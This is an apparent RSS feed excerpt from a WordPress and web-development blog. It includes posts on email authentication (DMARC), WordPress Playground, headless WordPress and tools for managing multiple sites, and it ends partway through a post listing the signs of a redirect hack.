&lt;p&gt;The reports from the above service help you identify the sources (who is sending emails on behalf of your domain) and block invalid sources.&lt;/p&gt;
&lt;p&gt;DMARC extends the two mechanisms (SPF and DKIM) to allow you to manage your domain reputation.&lt;/p&gt;
&lt;p&gt;For example, after implementing DMARC for kiravo.net, we saw in the reports that several hundred emails were being sent in the name of kiravo.net from IPs in Russia, China or Vietnam, with no connection to the emails we sent.&lt;/p&gt;
&lt;p&gt;I changed the DNS entry for DMARC from p=none to p=reject so that only SPF and DKIM-aligned emails are allowed.&lt;/p&gt;
&lt;h3 id=&quot;3-other-good-practices&quot;&gt;3. Other good practices&lt;/h3&gt;
&lt;p&gt;The authentication protocols described above (SPF, DKIM and DMARC) help confirm the authenticity of emails sent by your domain and significantly reduce the risk of being marked as spam.&lt;/p&gt;
&lt;p&gt;But even with all these implementations done right, emails can still end up in spam.&lt;/p&gt;
&lt;p&gt;If your email contains specific characteristics associated with spam or is sent from a domain known to send spam, there’s a good chance it will be automatically marked as spam.&lt;/p&gt;
&lt;p&gt;Make sure you follow these best practices:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Do not send unsolicited emails&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt; &lt;strong&gt;Avoid forwarders&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt; &lt;strong&gt;Use a relevant and non-spammy subject:&lt;/strong&gt; Avoid exaggerated or alarmist subjects often associated with spam emails. Make sure the subject line reflects the actual content of the email and is not just designed to attract attention.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt; &lt;strong&gt;Optimise email content:&lt;/strong&gt; Avoid overusing keywords or links in your emails. Limit the use of images and make sure the text is well-structured and relevant.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt; &lt;strong&gt;Require opt-in and confirmation:&lt;/strong&gt; If you send marketing emails, ensure recipients have voluntarily opted in to receive your messages. Send them a confirmation email to confirm their subscription.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt; &lt;strong&gt;Regularly update your subscriber list:&lt;/strong&gt; Remove inactive or invalid email addresses from your subscriber list. This way, you will maintain a clean list of recipients.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Sending emails that don’t end up in spam can be challenging, and unfortunately, it is still the responsibility of site/domain owners.&lt;/p&gt;
&lt;p&gt;However, these operations become crucial if the business involves intensive email use. Therefore, by following these steps and adhering to good emailing practices, you can significantly improve the chances of your messages being successfully delivered to your recipients’ inboxes.&lt;/p&gt;</content:encoded><category>Guides</category><author>Andrei Chira</author></item><item><title>How to run WordPress in your browser</title><link>https://kiravo.net/blog/wordpress-playground-run-wordpress-your-browser/</link><guid isPermaLink="true">https://kiravo.net/blog/wordpress-playground-run-wordpress-your-browser/</guid><description>A tour of WordPress Playground: how it runs WordPress in your browser, what it&apos;s useful for, the Query API, and its current limits.</description><pubDate>Mon, 09 Oct 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;WordPress Playground is an open-source experiment to provide a running WordPress instance directly in your browser. You no longer need an experimental website on a local development machine to test themes and plugins. I firmly believe there is no more convenient method than WordPress Playground because it runs in your browser and doesn’t require a special setup.&lt;/p&gt;
&lt;p&gt;You should familiarise yourself with WordPress Playground if you don’t have any clue about it. This article will delve into WordPress Playground, exploring what it is and how to make the most of it.&lt;/p&gt;
&lt;h2 id=&quot;what-is-wordpress-playground&quot;&gt;What Is WordPress Playground&lt;/h2&gt;
&lt;p&gt;&lt;img alt=&quot;WordPress-Playground&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;650&quot; height=&quot;361&quot; src=&quot;https://kiravo.net/_astro/1-WordPress-Playground-650x361.D8k8yEVD_ZaNT58.webp&quot; &gt;&lt;/p&gt;
&lt;p&gt;WordPress Playground is a development environment where users can safely experiment with WordPress without affecting live websites. It is still in the development phase and has some limited features, but overall, it works satisfactorily, and many users are pleased with it. So, you should anticipate new features and frequent changes in the near future.&lt;/p&gt;
&lt;p&gt;The great benefit of this tool is its ability to spin up a WordPress website in the browser without requiring a server and a database. Moreover, you can choose different WordPress and PHP versions. Content creators, bloggers, and reviewers should look at it because Playground can be easily integrated into an app or website.&lt;/p&gt;
&lt;p&gt;In a nutshell, WordPress Playground is a tool to test themes and plugins, develop websites, and learn WordPress.&lt;/p&gt;
&lt;h2 id=&quot;wordpress-playground-anatomy&quot;&gt;WordPress Playground Anatomy&lt;/h2&gt;
&lt;p&gt;WordPress runs on PHP, a server-side language that stores data using SQL. Hence, how does it function directly from the user’s browser? Certainly, you can use this tool without having an idea about its anatomy, but it’s good to know how it works.&lt;/p&gt;
&lt;p&gt;A WebAssembly-based WordPress runtime replaced the PHP scripting. Advanced users can refer to &lt;a href=&quot;https://wordpress.github.io/wordpress-playground/&quot;&gt;the documentation&lt;/a&gt; to learn more about this innovative approach. Instead of MySQL, WordPress Playground uses a plugin that runs SQLite. Lastly, a web server is implemented in JavaScript as a Service Worker to intercept the HTTP requests and interpret them in a separate thread.&lt;/p&gt;
&lt;h2 id=&quot;wordpress-playground-use-cases&quot;&gt;WordPress Playground Use Cases&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://adamadam.blog/2023/06/28/why-did-i-build-wordpress-playground/&quot;&gt;Adam Zielinski&lt;/a&gt;, the creator of WordPress Playground, is straightforward about his work – the tool was designed to generate a WordPress instance swiftly. This rapid creation of a WordPress instance was previously unattainable. WordPress Playground offers significant benefits and various ways to maximise its utility. Here’s a breakdown of its use cases:&lt;/p&gt;
&lt;h3 id=&quot;training-area-for-newbies&quot;&gt;Training Area for Newbies &lt;/h3&gt;
&lt;p&gt;Setting up a local WordPress development system or a local host can be time-consuming, even for intermediate users. Newcomers may find it daunting to install these configurations. For WordPress beginners, having a testing environment is crucial for learning the basics. Before the advent of WordPress Playground, establishing a testing environment posed significant challenges for amateurs. Thanks to Playground, creating your testing site is as simple as ABC.&lt;/p&gt;
&lt;h3 id=&quot;theme-and-plugin-testing-area&quot;&gt;Theme and Plugin Testing Area&lt;/h3&gt;
&lt;p&gt;WordPress Playground is an excellent tool for both developers and users. Developers appreciate it because users can test their products in a straightforward and effective environment. No matter how detailed a tutorial or documentation is, having a practical space for experimentation is more relevant. Users are delighted to have a powerful tool to test all the themes and plugins for their projects.&lt;/p&gt;
&lt;h3 id=&quot;embedded-wordpress-install&quot;&gt;Embedded WordPress Install&lt;/h3&gt;
&lt;p&gt;Content creators and WordPress reviewers are excited about this tool because it lets them showcase a theme or a plugin directly in their blog posts. You can embed Playground on your website by using the &lt;iframe&gt; tag as follows:&lt;/iframe&gt;
&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&amp;#x3C;iframe src=&quot;https://playground.wordpress.net/&quot;&gt;&amp;#x3C;/iframe&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;construct-a-website&quot;&gt;Construct a Website&lt;/h3&gt;
&lt;p&gt;I don’t recommend building websites using Playground, but certainly, it’s a real possibility. Bear in mind that you can save your work and upload it to another host.&lt;/p&gt;
&lt;h2 id=&quot;quick-tour-of-wordpress-playground&quot;&gt;Quick Tour of WordPress Playground&lt;/h2&gt;
&lt;p&gt;You don’t need any guidance to start using Playground. Type in its address - &lt;a href=&quot;https://playground.wordpress.net/&quot;&gt;https://playground.wordpress.net/&lt;/a&gt; and customise the WordPress install you need. Currently, you have three storage options:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Temporary&lt;/strong&gt; (your website disappears anytime you refresh the browser)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Persistent&lt;/strong&gt; (your website is stored in the cache memory of the browser)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Live directory from your computer&lt;/strong&gt; (your website is stored on your computer hard drive)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt=&quot;WordPress-Playground-customisation-options&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;650&quot; height=&quot;361&quot; src=&quot;https://kiravo.net/_astro/2-Playground-customisation-options-650x361.ColVHx-I_Z1dxxVY.webp&quot; &gt;&lt;/p&gt;
&lt;p&gt;Next, choose the type of PHP and WordPress versions and press the “Apply changes” button to get your WordPress website. Hover your mouse over the “My WordPress website” button, and from the drop-down menu, choose “Dashboard” or “Themes”. Select “Dashboard,” and you will be directed to the WordPress dashboard admin.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;WordPress-dashboard&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;650&quot; height=&quot;361&quot; src=&quot;https://kiravo.net/_astro/3-WordPress-dashboard-650x361.BrmhJ9eb_Z23GBwo.webp&quot; &gt;&lt;/p&gt;
&lt;p&gt;The major downside of Playground is the lack of connection to the official WordPress.org themes and plugin repositories. It means uploading new themes and plugins is the only way to add them. If you overcome this limitation, you can still enjoy a ‘WordPress-like experience’ directly from your browser. &lt;/p&gt;
&lt;h2 id=&quot;query-api&quot;&gt;Query API&lt;/h2&gt;
&lt;p&gt;Working with an Application Programming Interface (API) isn’t comfortable for most WordPress users. Yet, it’s pretty simple, even for less techie people. Go to the &lt;a href=&quot;https://wordpress.github.io/wordpress-playground/&quot;&gt;WordPress Playground documentation&lt;/a&gt; and explore the Query API. You will learn plenty of simple configurations that will simplify your work. The following examples are relevant:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Install a theme by adding its name as a parameter to the Playground URL. For instance, you’d like to add the Astra theme from the WordPress repository. In this case, add the query parameter &lt;strong&gt;?theme=astra&lt;/strong&gt; to the Playground URL.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Similarly, install a plugin; add the &lt;strong&gt;?plugin=yourpluginofchoice&lt;/strong&gt;, where yourpluginofchoice is the name of the plugin to install.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;limitations-of-wordpress-playground&quot;&gt;Limitations of WordPress Playground&lt;/h2&gt;
&lt;p&gt;WordPress Playground is still in the experiencing phase, so it may have unexpected glitches. Don’t worry; many talented developers and engineers are working hard to improve it. However, it has two major limitations:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Unsupported network connection&lt;/strong&gt;, so that users can’t access themes and plugins from the WordPress directory;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Temporary access,&lt;/strong&gt; meaning that every time you refresh your browser, whether intentionally or unintentionally, your work disappears. To address this, change the storage type to persistent mode, and your browser will store your work.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;wrapping-up&quot;&gt;Wrapping Up&lt;/h2&gt;
&lt;p&gt;WordPress Playground is a time-saving tool that should have been developed years ago. Nevertheless, it’s great to have it now, helping us become better WordPress users and make informed decisions when choosing themes and plugins. Remember that it’s a freshly released project with room for improvement. You are welcome to join the team and contribute to making it an even better tool.&lt;/p&gt;</content:encoded><category>WordPress</category><author>Andrei Chira</author></item><item><title>The beginner’s guide to headless WordPress</title><link>https://kiravo.net/blog/the-beginners-guide-to-headless-wordpress/</link><guid isPermaLink="true">https://kiravo.net/blog/the-beginners-guide-to-headless-wordpress/</guid><description>What headless WordPress actually is, what you gain (speed, security, multi-channel publishing), and the real trade-offs before you commit.</description><pubDate>Tue, 18 Jan 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;WordPress is almost two decades old, and it seems that it will continue to stay for many years. A digital product that is still relevant after two decades is almost unparalleled. Many content management systems (CMSs) were launched after WordPress’ birthday—May 27th, 2003—and are already forgotten, even by their founders. Besides, Internet users are impatient and always ready to test new products and services. Under these circumstances, is WordPress a miracle or an outstanding product?&lt;/p&gt;
&lt;p&gt;The correct answer is something in between these two options. WordPress is 100% an excellent CMS that gained traction in the proper context. This CMS started as a blogging platform suitable for casual users. The timing was perfect because content publishing boomed a few years after WordPress’ launching. WordPress was the proper tool at the proper moment.&lt;/p&gt;
&lt;p&gt;Headless WordPress has generated some buzz, and people rushed to believe that the days of the old WordPress are gone. Read the following paragraphs to learn more about headless WordPress and how conventional WordPress will evolve.&lt;/p&gt;
&lt;h2 id=&quot;wordpress-current-state&quot;&gt;WordPress Current State&lt;/h2&gt;
&lt;p&gt;&lt;img alt=&quot;wordpress current state&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;720&quot; height=&quot;400&quot; src=&quot;https://kiravo.net/_astro/1-WordPress-market-share.DGc_UuJd_v3wvp.webp&quot; &gt;&lt;/p&gt;
&lt;p&gt;WordPress is a mature product that dominates the market of CMSs by a colossal margin. It’s somehow surprising, but WordPress’ market share keeps on growing. For instance, the WordPress growth in 2021 alone is only slightly smaller than the overall market share of the biggest competitor.&lt;/p&gt;
&lt;p&gt;WordPress wouldn’t reach this level if its development team didn’t pay attention to its users’ needs. The developers constantly pushed the envelope and added new and useful features. Even though it started as a blogging platform, nowadays WordPress is suitable for almost any kind of project.    &lt;/p&gt;
&lt;p&gt;Despite the impressive work of all contributors, WordPress still has room to improve. Performance, security, and the management of complex websites are areas where WordPress has issues. Its admin dashboard is user-friendly, but a few aspects related to site customization might be reconsidered.     &lt;/p&gt;
&lt;p&gt;The core development team will introduce Full Site Editing (FSE) in 2022. It’s a pretty significant change for the entire WordPress community. Its main purpose is to streamline site-building and make WordPress even more accessible to non-developers. Certainly, it will generate harsh debates in the first months after implementation, but users will adapt to this change.&lt;/p&gt;
&lt;p&gt;The success of WordPress resides in the satisfaction of all users. FSE is for everyone, but less trained users will appreciate it more as they will get an improved experience. Instead of writing code or installing a plugin, webmasters will get more customization options directly from the WordPress admin dashboard. &lt;/p&gt;
&lt;p&gt;Headless WordPress caters to enterprise projects. It’s not only the contribution of the WordPress development team—it’s a collective work of the entire WordPress community and many startups. &lt;/p&gt;
&lt;h2 id=&quot;headless-wordpress&quot;&gt;Headless WordPress&lt;/h2&gt;
&lt;p&gt;To understand headless WordPress you have to understand traditional WordPress. Your standard WordPress install has a monolith approach—the backend and frontend are coupled. That’s why people refer to WordPress as a traditional, standard, coupled, and monolith entity. The backend is the admin dashboard, where you produce content and customize the channel to publish it. The frontend is the platform where people consume the content. In most cases, it’s the blog page or a custom homepage. This is convenient for casual users, but enterprise projects have different needs.&lt;/p&gt;
&lt;p&gt;Headless WordPress extracts the benefits of coupled WordPress and implements it on a different platform. The backend remains the same WordPress admin dashboard; it’s a familiar and enjoyable platform for content creation. The front-end is decoupled and allows multi-platform and cross-channel publishing. Practically, the same content on the backend of your site is published on different mediums, such as a mobile app, your own website, third-party website, or social media. In this way, you have full control over the frontend channels. You are no longer restricted by themes and plugins—you can use whatever platform and coding language you want.&lt;/p&gt;
&lt;h2 id=&quot;benefits-of-headless-wordpress&quot;&gt;Benefits of Headless WordPress&lt;/h2&gt;
&lt;p&gt;While a simple website doesn’t need the functionalities of headless WordPress, an enterprise project requires them. Headless WordPress comes with many benefits, but it has a few weaknesses as well. The following are the main advantages of headless WordPress. &lt;/p&gt;
&lt;h2 id=&quot;multiple-front-end-channels&quot;&gt;Multiple Front-end Channels&lt;/h2&gt;
&lt;p&gt;You are no longer limited to publishing content only on your website, thanks to headless WordPress. A strong business should always be where its customers are. It depends on the business profile, but a simple website isn’t enough these days. Social media and mobile apps are two capital tools to get in touch with clients. In this context, headless WordPress is the ideal solution that simplifies content production and distribution. &lt;/p&gt;
&lt;h2 id=&quot;improved-performance&quot;&gt;Improved Performance&lt;/h2&gt;
&lt;p&gt;&lt;img alt=&quot;improved performance&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;720&quot; height=&quot;400&quot; src=&quot;https://kiravo.net/_astro/2-website-performance.YnJWKFAP_Z1yfQeI.webp&quot; &gt;&lt;/p&gt;
&lt;p&gt;Performance is one of the most significant drawbacks of traditional WordPress. The WordPress development team and a few partners made up a team focused on improving the CMS performance. The results will come in the near future, but at the moment headless WordPress is speedier.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.smashingmagazine.com/2018/10/headless-wordpress-decoupled/&quot;&gt;Smashing Magazine nailed down&lt;/a&gt; how headless WordPress improves the site performance. TLTR: despite its more complex structure, the headless format is faster than the coupled version.&lt;/p&gt;
&lt;h2 id=&quot;use-the-favorite-coding-language&quot;&gt;Use the Favorite Coding Language&lt;/h2&gt;
&lt;p&gt;Are you a big fan of Python and you don’t like PHP? Headless WordPress is the best solution in this respect. You are free to use whichever front-end platform, and of course, whichever coding language you prefer to deliver the content to the customers. Additionally, it allows changing the tech stack easily and without losing data.&lt;/p&gt;
&lt;h2 id=&quot;enhanced-security&quot;&gt;Enhanced Security&lt;/h2&gt;
&lt;p&gt;The WordPress core is pretty secure and the development team works permanently to make it even more unhackable. However, from a security perspective, the themes and plugins are big vulnerabilities. The more there are, the more insecure the site is. Headless WordPress eliminates both plugins and themes, so it becomes way more complicated for cybercriminals to break into your site.&lt;/p&gt;
&lt;h2 id=&quot;weaknesses-of-headless-wordpress&quot;&gt;Weaknesses of Headless WordPress&lt;/h2&gt;
&lt;p&gt;Nope, headless WordPress isn’t perfect at all! It has a few weaknesses that make it infeasible for most WordPress users. It’s clear that people won’t suddenly abandon the coupled WordPress for the headless format. It has two major cons that limit its adoption.&lt;/p&gt;
&lt;h2 id=&quot;unfriendly-for-non-developers&quot;&gt;Unfriendly for Non-Developers&lt;/h2&gt;
&lt;p&gt;&lt;img alt=&quot;unfriendly for non-developers&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;720&quot; height=&quot;400&quot; src=&quot;https://kiravo.net/_astro/3-code.Bx-QUa6i_11VsjB.webp&quot; &gt;&lt;/p&gt;
&lt;p&gt;It’s hard to believe that someone lacking serious coding skills may give a try to headless WordPress. The deployment and maintenance of an online business running on headless WordPress require the involvement of a highly-skilled dev or even a team. Someone just testing the waters will immediately get stuck in creating a headless WordPress site.&lt;/p&gt;
&lt;h2 id=&quot;budget-unfriendly&quot;&gt;Budget-unfriendly&lt;/h2&gt;
&lt;p&gt;Headless WordPress caters to enterprise projects so it makes sense that it isn’t budget-friendly. However, even mid-size businesses might have a problem hiring a developer to deploy and maintain a website. Taking into account the difficult times we face, only a few entrepreneurs take the risk to switch from traditional to headless. Perhaps it’s a profitable decision in the long term, but it’s another major impediment to mass adoption. &lt;/p&gt;
&lt;h2 id=&quot;over-to-you&quot;&gt;Over to You&lt;/h2&gt;
&lt;p&gt;Headless WordPress is more complicated, with a steep learning curve to master its potential. Undoubtedly, it comes with some innovative concepts and deserves our attention. While some developers speak highly about headless WordPress, I strongly believe that it can’t rival traditional WordPress. The headless approach is perfect for enterprise projects, but for the rest of the businesses is rather expensive and complicated.&lt;/p&gt;
&lt;p&gt;In conclusion, headless WordPress is a refined solution for a niche, but it needs substantial improvements to get mass adopted.&lt;/p&gt;</content:encoded><category>WordPress</category><author>Elena Chira</author></item><item><title>How to manage multiple WordPress sites efficiently</title><link>https://kiravo.net/blog/manage-multiple-wordpress-sites/</link><guid isPermaLink="true">https://kiravo.net/blog/manage-multiple-wordpress-sites/</guid><description>Seven tools for running multiple WordPress sites from one place, compared on price, features, and fit for agencies and freelancers.</description><pubDate>Tue, 13 Oct 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Efficiently managing multiple WordPress sites is a top priority for all freelancers and agencies. You can spend hours logging in to each site, updating the core, themes, and plugins, editing files, strengthening the security, creating backup copies, and so on. However, some cool tools can simplify these tasks and save you precious time.&lt;/p&gt;
&lt;p&gt;Developers constantly release new helpful tools and upgrade existing ones, but these tools can’t replace the human factor. You have to double-check the site’s uptime, integrity, and performance. Still, while the responsibility is still yours, the tools do the leg work for you.&lt;/p&gt;
&lt;p&gt;Are you interested in using a helpful tool to better manage your sites? Check out the following options and choose the best one for your needs and preferences.&lt;/p&gt;
&lt;h2 id=&quot;wpmu-dev&quot;&gt;&lt;a href=&quot;https://wpmudev.com/&quot;&gt;WPMU DEV&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;img alt=&quot;WPMU-Dev-manage-multiple-sites&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;720&quot; height=&quot;400&quot; src=&quot;https://kiravo.net/_astro/1-wpmu-dev-720x400.BOz8thq2_G5oBO.webp&quot; &gt;&lt;/p&gt;
&lt;p&gt;WPMU DEV is a complex platform that does a great favor to webmasters who deal with many sites.&lt;/p&gt;
&lt;p&gt;There are a couple of reasons to purchase a subscription. First, the unified dashboard allows you to manage sites from one place—WPMU DEV calls it the Hub. Just add your sites to the Hub, and you won’t need to login to the sites you manage individually. You will have full control over each update, be able to improve the sites’ security, search rankings, and performances, and create backup copies directly from the Hub dashboard. Additionally, you’ll get reports about your activities—a helpful feature for people who take care of clients’ sites.&lt;/p&gt;
&lt;p&gt;Second, the WPMU DEV platform streamlines the process of migrating and replicating websites. The hosting services are superior, so you’ll have the perfect environment in which to bring all your clients’ sites to a single platform.&lt;/p&gt;
&lt;p&gt;Third, you’ll get some premium plugins. In addition to the Hub, you’ll get access to a few top-class plugins mandatory for a good website. For example, Defender Pro strengthens site security, Smush Pro optimizes images, and Hummingbird Pro improves site performance.&lt;/p&gt;
&lt;p&gt;Clearly, WPMU DEV is a great platform that packages a lot of value, but I recommend it only to those with high budgets or webmasters who are responsible for a couple of sites or more. The subscription will set you back $49 per month.&lt;/p&gt;
&lt;h2 id=&quot;managewp-worker&quot;&gt;&lt;a href=&quot;https://wordpress.org/plugins/worker/&quot;&gt;ManageWP Worker&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;img alt=&quot;ManageWP-worker-plugin&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;720&quot; height=&quot;400&quot; src=&quot;https://kiravo.net/_astro/2-manageWP-worker-720x400.BsJz1jmC_Z1rp0hv.webp&quot; &gt;&lt;/p&gt;
&lt;p&gt;It’s fantastic that such an instrumental plugin that saves you so much time is free of charge. You can use it for unlimited websites for free! The 1,000,000 active installs and a rating of 4.7 say enough about the plugin’s potential.&lt;/p&gt;
&lt;p&gt;ManageWP Worker’s dashboard is user-friendly, and adding all your sites is pretty intuitive. It allows you to perform bulk actions, such as installing updates, managing comments, and checking the sites’ integrity.&lt;/p&gt;
&lt;p&gt;Users who want more services have to pay for them. Luckily, ManageWP Worker comes with top-class services that are affordable for everyone. You can choose to buy premium addons for each website or buy a bundle if you run more than 25 websites. This degree of flexibility is unique and fully satisfies all users.&lt;/p&gt;
&lt;h2 id=&quot;cms-commander&quot;&gt;&lt;a href=&quot;https://wordpress.org/plugins/cms-commander-client/&quot;&gt;CMS Commander&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;img alt=&quot;CMS-Commander-manage-multiple-sites&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;720&quot; height=&quot;400&quot; src=&quot;https://kiravo.net/_astro/3-CMS-commander-720x400.LmYBvy4V_1azW31.webp&quot; &gt;&lt;/p&gt;
&lt;p&gt;CMS Commander’s unique feature is the focus on content and monetization. Consider this tool if you run multiple blogs, magazine news sites, or affiliate sites because it will help you with marketing and monetization. For instance, from the CMS Commander dashboard, you can bulk insert affiliate links into your posts, import content, and monitor backlink numbers.&lt;/p&gt;
&lt;p&gt;Besides these features, CMS Commander is a precious helper for managing any kind of WordPress site. It allows you to bulk update, edit content, monitor sites, and view traffic stats.&lt;/p&gt;
&lt;p&gt;Enhanced security is another advantage of this plugin—all data is exchanged through secure encryptions, and users log in with two-factor authentication. You can run complete malware scans with just a single click.&lt;/p&gt;
&lt;p&gt;CMS Commander doesn’t have a free option, but the subscriptions are quite affordable.&lt;/p&gt;
&lt;h2 id=&quot;infinitewp-client&quot;&gt;&lt;a href=&quot;https://wordpress.org/plugins/iwp-client/&quot;&gt;InfiniteWP Client&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;img alt=&quot;InfiniteWP-Client&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;720&quot; height=&quot;400&quot; src=&quot;https://kiravo.net/_astro/4-infiniteWP-client-720x400.PooCkxt3_24qtQD.webp&quot; &gt;&lt;/p&gt;
&lt;p&gt;InfiniteWP Client is a robust solution for managing multiple websites stress-free. You can install the plugin manually or through cPanel to add your site to the InfiniteWP dashboard. Once you are done with the installation, everything runs smoothly.&lt;/p&gt;
&lt;p&gt;If you are on a tight budget, go for the free plan, but it limits you to performing updates and backups and cloning websites. The premium plans package more features, including improved security, uptime monitoring, user management, and malware scanning. Additionally, you can publish blog posts, upload files, and manage comments directly from the InfiniteWP Client dashboard.&lt;/p&gt;
&lt;h2 id=&quot;icontrolwp&quot;&gt;&lt;a href=&quot;https://www.icontrolwp.com/&quot;&gt;iControlWP&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;img alt=&quot;iControlWP-site-management&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;720&quot; height=&quot;400&quot; src=&quot;https://kiravo.net/_astro/5-icontrol-720x400.DhRVuuJr_2u5mdB.webp&quot; &gt;&lt;/p&gt;
&lt;p&gt;iControlWP includes pretty much the same options as any other option on this list. The reliability, focus on security, and pricing flexibility are its unique features. This tool completely satisfies users, and the free plugin in the WordPress repository is highly rated (4.8 stars out of five).&lt;/p&gt;
&lt;p&gt;Besides the free plugin, iControlWP offers four paid plans, and all of them include vulnerability scanning and Sucuri malware scans. The two more expensive plans include Shield Security Central—a timesaving helper that strengthens site security.&lt;/p&gt;
&lt;p&gt;I love no-credit-card-required trials; in this way, people testing the products don’t risk getting hooked by any special conditions. Luckily, iControlWP sails with a free 15-day trial with no credit card required. Also, don’t worry about the exchange rate if you decide to purchase a premium subscription—you can pay directly in American dollars, euros, or pounds.&lt;/p&gt;
&lt;h2 id=&quot;wp-remote&quot;&gt;&lt;a href=&quot;https://wpremote.com/&quot;&gt;WP Remote&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;img alt=&quot;WP-remote&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;720&quot; height=&quot;400&quot; src=&quot;https://kiravo.net/_astro/6-wp-remote-720x400.CgryOihc_okD05.webp&quot; &gt;&lt;/p&gt;
&lt;p&gt;Webmasters managing at least 20 sites and who frequently edit sites should take a look at WP Remote. All the premium plans come with in-built staging sites. In plain English, staging sites are site clones available for webmasters to perform site edits and test new features without affecting the online site. In this way, you can avoid crashing your site by mistake.&lt;/p&gt;
&lt;p&gt;WP Remote allows you to manage up to 100 sites, but you can contact customer service for special pricing if you run more than 100 sites. You can effectively manage the sites from the WP Remote dashboard hassle-free.&lt;/p&gt;
&lt;p&gt;One of WP Remote’s downsides is that only the most expensive plan includes security measures. On top of that, the prices aren’t for those with tight budgets.&lt;/p&gt;
&lt;h2 id=&quot;mainwp&quot;&gt;&lt;a href=&quot;https://mainwp.com/&quot;&gt;MainWP&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;img alt=&quot;MainWP-manage-WordPress-sites&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;720&quot; height=&quot;400&quot; src=&quot;https://kiravo.net/_astro/7-mainWP-720x400.C7L4WK8U_wzQHO.webp&quot; &gt;&lt;/p&gt;
&lt;p&gt;MainWP is for great webmasters who don’t have financial resources. All you have to do is to install a free plugin on your sites, and then you can manage them all from your site dashboard of choice. You won’t rely on a private server; rather, you’ll run your sites from one of your sites. You can update the sites, improve their security, and manage their posts and pages without a third-party accessing your data.&lt;/p&gt;
&lt;h2 id=&quot;over-to-you&quot;&gt;Over to You&lt;/h2&gt;
&lt;p&gt;All the above tools will genuinely help you manage multiple WordPress sites efficiently. Check out the descriptions and evaluate which one suits your needs, expectations, and budget. Next, visit the official sites and double-check the features, plans, and documentation. You will make the proper decision by following these steps.&lt;/p&gt;
&lt;p&gt;Finally, share your impressions with us if you use any of these tools. Of course, leave a comment with your doubts, ideas, and suggestions. We enjoy engaging with you!&lt;/p&gt;</content:encoded><category>WordPress</category><author>Elena Chira</author></item><item><title>WordPress site redirecting? How to fix it</title><link>https://kiravo.net/blog/wordpress-redirecting-how-to-fix/</link><guid isPermaLink="true">https://kiravo.net/blog/wordpress-redirecting-how-to-fix/</guid><description>How to spot a WordPress hacked-redirect infection, the damage it can do, and two ways to clean it: automated scanning or manual removal.</description><pubDate>Mon, 05 Oct 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;If you’ve been frantically googling “Why is my WP site redirecting my users to another website?” you’re most likely a victim of WordPress Redirect Hacking, one of the many innovative hacking methods hackers deploy. To understand this better, you need to understand how WordPress-targeting hackers work. In this article, we’ll also tell you how it impacts your online business, and how you can fix this. Let’s get started. &lt;/p&gt;
&lt;h2 id=&quot;signs-of-a-wordpress-hacked-redirect&quot;&gt;Signs of a WordPress Hacked Redirect&lt;/h2&gt;
&lt;p&gt;First of all, let’s understand if your site is showing any of the following signs -&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Your website is redirecting its users to another website.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Your administrator sees the “404 Error” page after signing into the dashboard.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Your website is marked as “spam” or “hacked” on Google search results.&lt;/p&gt;
&lt;/li&gt;
